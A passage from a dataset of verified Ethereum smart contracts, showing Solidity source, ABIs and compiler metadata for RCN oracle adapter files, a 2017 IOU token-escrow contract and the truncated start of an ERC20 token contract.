nputs":[],"name":"VERSION","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_legacyOracle","type":"address"},{"name":"_symbol","type":"string"},{"name":"_name","type":"string"},{"name":"_maintainer","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_currency","type":"bytes32"},{"name":"_token","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_previousOwner","type":"address"},{"indexed":true,"name":"_newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | 00000000000000000000000033332025ad35a821eec5f1e10459222c8e4c62c300000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000000024152530000000000000000000000000000000000000000000000000000000000000000000000000000000000f970b8e36e23f7fc3fd752eea86f8be8d83375a600000000000000000000000000000000000000000000000000000000000000034152530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e417267656e74696e65207065736f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://49e28e77f0a8ae4ecc89a29b603f6f04ae9df95346155cb9141e0e518e788d50 |
|||
OracleAdapter | contracts/interfaces/IERC165.sol | 0x5ee66ba3e2f8c870866cc6892b985314e904d2c0 | Solidity | pragma solidity ^0.5.7;
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
} | [{"constant":true,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_legacyOracle","type":"address"}],"name":"setLegacyOracle","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"url","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maintainer","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"legacyOracle","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_data","type":"bytes"}],"name":"readSample","outputs":[{"name":"_tokens","type":"uint256"},{"name":"_equivalent","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_maintainer","type":"string"}],"name":"setMaintainer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"currency","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"VERSION","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_legacyOracle","type":"address"},{"name":"_symbol","type":"string"},{"name":"_name","type":"string"},{"name":"_maintainer","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_currency","type":"bytes32"},{"name":"_token","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_previousOwner","type":"address"},{"indexed":true,"name":"_newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | 00000000000000000000000033332025ad35a821eec5f1e10459222c8e4c62c300000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000000024152530000000000000000000000000000000000000000000000000000000000000000000000000000000000f970b8e36e23f7fc3fd752eea86f8be8d83375a600000000000000000000000000000000000000000000000000000000000000034152530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e417267656e74696e65207065736f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://49e28e77f0a8ae4ecc89a29b603f6f04ae9df95346155cb9141e0e518e788d50 |
|||
OracleAdapter | contracts/core/basalt/utils/OwnableBasalt.sol | 0x5ee66ba3e2f8c870866cc6892b985314e904d2c0 | Solidity | pragma solidity ^0.5.7;
contract OwnableBasalt {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "The owner should be the sender");
_;
}
constructor() public {
owner = msg.sender;
}
/**
@dev Transfers the ownership of the contract.
@param _to Address of the new owner
*/
function transferTo(address _to) public onlyOwner returns (bool) {
require(_to != address(0), "0x0 Is not a valid owner");
owner = _to;
return true;
}
} | [{"constant":true,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_legacyOracle","type":"address"}],"name":"setLegacyOracle","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"url","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maintainer","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"legacyOracle","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_data","type":"bytes"}],"name":"readSample","outputs":[{"name":"_tokens","type":"uint256"},{"name":"_equivalent","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_maintainer","type":"string"}],"name":"setMaintainer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"currency","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"VERSION","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_legacyOracle","type":"address"},{"name":"_symbol","type":"string"},{"name":"_name","type":"string"},{"name":"_maintainer","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_currency","type":"bytes32"},{"name":"_token","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_previousOwner","type":"address"},{"indexed":true,"name":"_newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | 00000000000000000000000033332025ad35a821eec5f1e10459222c8e4c62c300000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000000024152530000000000000000000000000000000000000000000000000000000000000000000000000000000000f970b8e36e23f7fc3fd752eea86f8be8d83375a600000000000000000000000000000000000000000000000000000000000000034152530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e417267656e74696e65207065736f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://49e28e77f0a8ae4ecc89a29b603f6f04ae9df95346155cb9141e0e518e788d50 |
|||
OracleAdapter | contracts/core/basalt/interfaces/Oracle.sol | 0x5ee66ba3e2f8c870866cc6892b985314e904d2c0 | Solidity | pragma solidity ^0.5.7;
/**
@dev Defines the interface of a standard RCN oracle.
The oracle is an agent in the RCN network that supplies a convertion rate between RCN and any other currency,
it's primarily used by the exchange but could be used by any other agent.
*/
contract Oracle is OwnableBasalt {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
/**
@dev Returns the url where the oracle exposes a valid "oracleData" if needed
*/
function url() public view returns (string memory);
/**
@dev Returns a valid convertion rate from the currency given to RCN
@param symbol Symbol of the currency
@param data Generic data field, could be used for off-chain signing
*/
function getRate(bytes32 symbol, bytes memory data) public returns (uint256 rate, uint256 decimals);
/**
@dev Adds a currency to the oracle, once added it cannot be removed
@param ticker Symbol of the currency
@return if the creation was done successfully
*/
function addCurrency(string memory ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
emit NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
/**
@return the currency encoded as a bytes32
*/
function encodeCurrency(string memory currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
/**
@return the currency string from a encoded bytes32
*/
function decodeCurrency(bytes32 b) public pure returns (string memory o) {
uint256 ns = 256;
while (true) {
if (ns == 0 || (b<<ns-8) != 0)
break;
ns -= 8;
}
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
} | [{"constant":true,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_legacyOracle","type":"address"}],"name":"setLegacyOracle","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"url","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maintainer","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"legacyOracle","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_data","type":"bytes"}],"name":"readSample","outputs":[{"name":"_tokens","type":"uint256"},{"name":"_equivalent","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_maintainer","type":"string"}],"name":"setMaintainer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"currency","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"VERSION","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_legacyOracle","type":"address"},{"name":"_symbol","type":"string"},{"name":"_name","type":"string"},{"name":"_maintainer","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_currency","type":"bytes32"},{"name":"_token","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_previousOwner","type":"address"},{"indexed":true,"name":"_newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | 00000000000000000000000033332025ad35a821eec5f1e10459222c8e4c62c300000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000000024152530000000000000000000000000000000000000000000000000000000000000000000000000000000000f970b8e36e23f7fc3fd752eea86f8be8d83375a600000000000000000000000000000000000000000000000000000000000000034152530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e417267656e74696e65207065736f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://49e28e77f0a8ae4ecc89a29b603f6f04ae9df95346155cb9141e0e518e788d50 |
|||
OracleAdapter | contracts/core/diaspore/utils/OracleAdapter.sol | 0x5ee66ba3e2f8c870866cc6892b985314e904d2c0 | Solidity | pragma solidity ^0.5.7;
contract OracleAdapter is Ownable, RateOracle, ERC165 {
Oracle public legacyOracle;
string private isymbol;
string private iname;
string private imaintainer;
uint256 private idecimals;
bytes32 private icurrency;
address private itoken;
constructor(
Oracle _legacyOracle,
string memory _symbol,
string memory _name,
string memory _maintainer,
uint256 _decimals,
bytes32 _currency,
address _token
) public {
legacyOracle = _legacyOracle;
isymbol = _symbol;
iname = _name;
imaintainer = _maintainer;
idecimals = _decimals;
icurrency = _currency;
itoken = _token;
_registerInterface(RATE_ORACLE_INTERFACE);
}
function symbol() external view returns (string memory) { return isymbol; }
function name() external view returns (string memory) { return iname; }
function decimals() external view returns (uint256) { return idecimals; }
function token() external view returns (address) { return itoken; }
function currency() external view returns (bytes32) { return icurrency; }
function maintainer() external view returns (string memory) { return imaintainer; }
function url() external view returns (string memory) {
return legacyOracle.url();
}
function setMaintainer(string calldata _maintainer) external onlyOwner {
imaintainer = _maintainer;
}
function setName(string calldata _name) external onlyOwner {
iname = _name;
}
function setLegacyOracle(Oracle _legacyOracle) external onlyOwner {
legacyOracle = _legacyOracle;
}
function readSample(bytes calldata _data) external returns (uint256 _tokens, uint256 _equivalent) {
(_tokens, _equivalent) = legacyOracle.getRate(icurrency, _data);
_equivalent = 10 ** _equivalent;
}
} | [{"constant":true,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_legacyOracle","type":"address"}],"name":"setLegacyOracle","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"url","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maintainer","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"legacyOracle","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_data","type":"bytes"}],"name":"readSample","outputs":[{"name":"_tokens","type":"uint256"},{"name":"_equivalent","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_maintainer","type":"string"}],"name":"setMaintainer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"currency","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"VERSION","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_legacyOracle","type":"address"},{"name":"_symbol","type":"string"},{"name":"_name","type":"string"},{"name":"_maintainer","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_currency","type":"bytes32"},{"name":"_token","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_previousOwner","type":"address"},{"indexed":true,"name":"_newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | 00000000000000000000000033332025ad35a821eec5f1e10459222c8e4c62c300000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000000024152530000000000000000000000000000000000000000000000000000000000000000000000000000000000f970b8e36e23f7fc3fd752eea86f8be8d83375a600000000000000000000000000000000000000000000000000000000000000034152530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e417267656e74696e65207065736f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://49e28e77f0a8ae4ecc89a29b603f6f04ae9df95346155cb9141e0e518e788d50 |
|||
IOU | IOU.sol | 0x44f2f79343ac7244c09e0189df05588524a86515 | Solidity | pragma solidity ^0.4.11;
/*
Allows buyers to securely/confidently buy recent ICO tokens that are
still non-transferrable, on an IOU basis. Like HitBTC, but with protection,
control, and guarantee of either the purchased tokens or ETH refunded.
The Buyer's ETH will be locked into the contract until the purchased
IOU/tokens arrive here and are ready for the buyer to invoke withdraw(),
OR until cut-off time defined below is exceeded and as a result ETH
refunds/withdrawals become enabled.
In other words, the seller must fulfill the IOU token purchases any time
before the cut-off time defined below, otherwise the buyer gains the
ability to withdraw their ETH.
The buyer's ETH will ONLY be released to the seller AFTER the adequate
amount of tokens have been deposited for ALL purchases.
Estimated Time of Distribution: 3-5 weeks from ICO according to TenX
Cut-off Time: ~ August 9, 2017
Greetz: blast, cintix
foobarbizarre@gmail.com (Please report any findings or suggestions for a 1 ETH bounty!)
Thank you
*/
contract ERC20 {
function transfer(address _to, uint _value);
function balanceOf(address _owner) constant returns (uint balance);
}
contract IOU {
// Store the amount of IOUs purchased by a buyer
mapping (address => uint256) public iou_purchased;
// Store the amount of ETH sent in by a buyer
mapping (address => uint256) public eth_sent;
// Total IOUs available to sell
uint256 public total_iou_available = 20000000000000000000;
// Total IOUs purchased by all buyers
uint256 public total_iou_purchased;
// Total IOU withdrawn by all buyers (keep track to protect buyers)
uint256 public total_iou_withdrawn;
// IOU per ETH (price)
uint256 public price_per_eth = 8600;
// PAY token contract address (IOU offering)
ERC20 public token = ERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF);
// The seller's address (to receive ETH upon distribution, and for authing safeties)
address seller = 0x007937cd579875A1b9e4E485a49Ee8147BC03a37;
// Halt further purchase ability just in case
bool public halt_purchases;
/*
Safety to withdraw unbought tokens back to seller. Ensures the amount
that buyers still need to withdraw remains available
*/
function withdrawTokens() {
if(msg.sender != seller) throw;
token.transfer(seller, token.balanceOf(address(this)) - (total_iou_purchased - total_iou_withdrawn));
}
/*
Safety to prevent anymore purchases/sales from occurring in the event of
unforeseen issue. Buyer withdrawals still remain enabled.
*/
function haltPurchases() {
if(msg.sender != seller) throw;
halt_purchases = true;
}
function resumePurchases() {
if(msg.sender != seller) throw;
halt_purchases = false;
}
/*
Update available IOU to purchase
*/
function updateAvailability(uint256 _iou_amount) {
if(msg.sender != seller) throw;
if(_iou_amount < total_iou_purchased) throw;
total_iou_available = _iou_amount;
}
/*
Update IOU price
*/
function updatePrice(uint256 _price) {
if(msg.sender != seller) throw;
price_per_eth = _price;
}
/*
Release buyer's ETH to seller ONLY if amount of contract's tokens balance
is >= to the amount that still needs to be withdrawn. Protects buyer.
The seller must call this function manually after depositing the adequate
amount of tokens for all buyers to collect, as defined by total_iou_purchased
This effectively ends the sale, but withdrawals remain open indefinitely
*/
function paySeller() {
if(msg.sender != seller) throw;
// not enough tokens in balance to release ETH, protect buyer and abort
if(token.balanceOf(address(this)) < (total_iou_purchased - total_iou_withdrawn)) throw;
// Halt further purchases to prevent accidental over-selling
halt_purchases = true;
// Release buyer's ETH to the seller
seller.transfer(this.balance);
}
function withdraw() payable {
/*
Main mechanism to ensure a buyer's purchase/ETH/IOU is safe.
Refund the buyer's ETH if we're beyond the cut-off date of our distribution
promise AND if the contract doesn't have an adequate amount of tokens
to distribute to the buyer. Time-sensitive buyer/ETH protection is only
applicable if the contract doesn't have adequate tokens for the buyer.
The "adequacy" check prevents the seller and/or third party attacker
from locking down buyers' ETH by sending in an arbitrary amount of tokens.
If for whatever reason the tokens remain locked for an unexpected period
beyond the time defined by block.number, patient buyers may still wait until
the contract is filled with their purchased IOUs/tokens. Once the tokens
are here, they can initiate a withdraw() to retrieve their tokens. Attempting
to withdraw any sooner (after the block has been mined, but tokens not arrived)
will result in a refund of buyer's ETH.
*/
if(block.number > 4199999 && iou_purchased[msg.sender] > token.balanceOf(address(this))) {
// We didn't fulfill our promise to have adequate tokens withdrawable at xx time
// Refund the buyer's ETH automatically instead
uint256 eth_to_refund = eth_sent[msg.sender];
// If the user doesn't have any ETH or tokens to withdraw, get out ASAP
if(eth_to_refund == 0 || iou_purchased[msg.sender] == 0) throw;
// Adjust total purchased so others can buy, and so numbers align with total_iou_withdrawn
total_iou_purchased -= iou_purchased[msg.sender];
// Clear record of buyer's ETH and IOU balance before refunding
eth_sent[msg.sender] = 0;
iou_purchased[msg.sender] = 0;
msg.sender.transfer(eth_to_refund);
return;
}
/*
Check if there is an adequate amount of tokens in the contract yet
and allow the buyer to withdraw tokens and release ETH to the seller if so
*/
if(token.balanceOf(address(this)) == 0 || iou_purchased[msg.sender] > token.balanceOf(address(this))) throw;
uint256 iou_to_withdraw = iou_purchased[msg.sender];
// If the user doesn't have any IOUs to withdraw/release, get out ASAP
if(iou_to_withdraw == 0) throw;
// Clear record of buyer's IOU and ETH balance before transferring out
iou_purchased[msg.sender] = 0;
eth_sent[msg.sender] = 0;
total_iou_withdrawn += iou_to_withdraw;
// Distribute tokens to the buyer
token.transfer(msg.sender, iou_to_withdraw);
}
function purchase() payable {
if(halt_purchases) throw;
// Determine amount of tokens user wants to/can buy
uint256 iou_to_purchase = price_per_eth * msg.value; // price is 160 per ETH
// Check if we have enough IOUs left to sell
if((total_iou_purchased + iou_to_purchase) > total_iou_available) throw;
// Update the amount of IOUs purchased by user. Also keep track of the total ETH they sent in
iou_purchased[msg.sender] += iou_to_purchase;
eth_sent[msg.sender] += msg.value;
// Update the total amount of IOUs purchased by all buyers
total_iou_purchased += iou_to_purchase;
}
// Fallback function/entry point
function () payable {
if(msg.value == 0) {
withdraw();
}
else {
purchase();
}
}
} | [{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"eth_sent","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"haltPurchases","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":true,"type":"function"},{"constant":false,"inputs":[{"name":"_iou_amount","type":"uint256"}],"name":"updateAvailability","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"resumePurchases","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"purchase","outputs":[],"payable":true,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"iou_purchased","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"total_iou_withdrawn","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"total_iou_available","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_price","type":"uint256"}],"name":"updatePrice","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"withdrawTokens","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"price_per_eth","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"total_iou_purchased","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"paySeller","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"halt_purchases","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"payable":true,"type":"fallback"}] | v0.4.11+commit.68ef5810 | true | 200 | Default | false | bzzr://92d12aef3796e2db439e186629a679431c26830575693d2d7f78e7eb23550945 |
||||
UNIV1SwapCoin | UNIV1SwapCoin.sol | 0x952f8d98633f62a2e80da14a30f85ada91e8d494 | Solidity | pragma solidity ^0.5.17;
/*
UNIV1Swap Coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
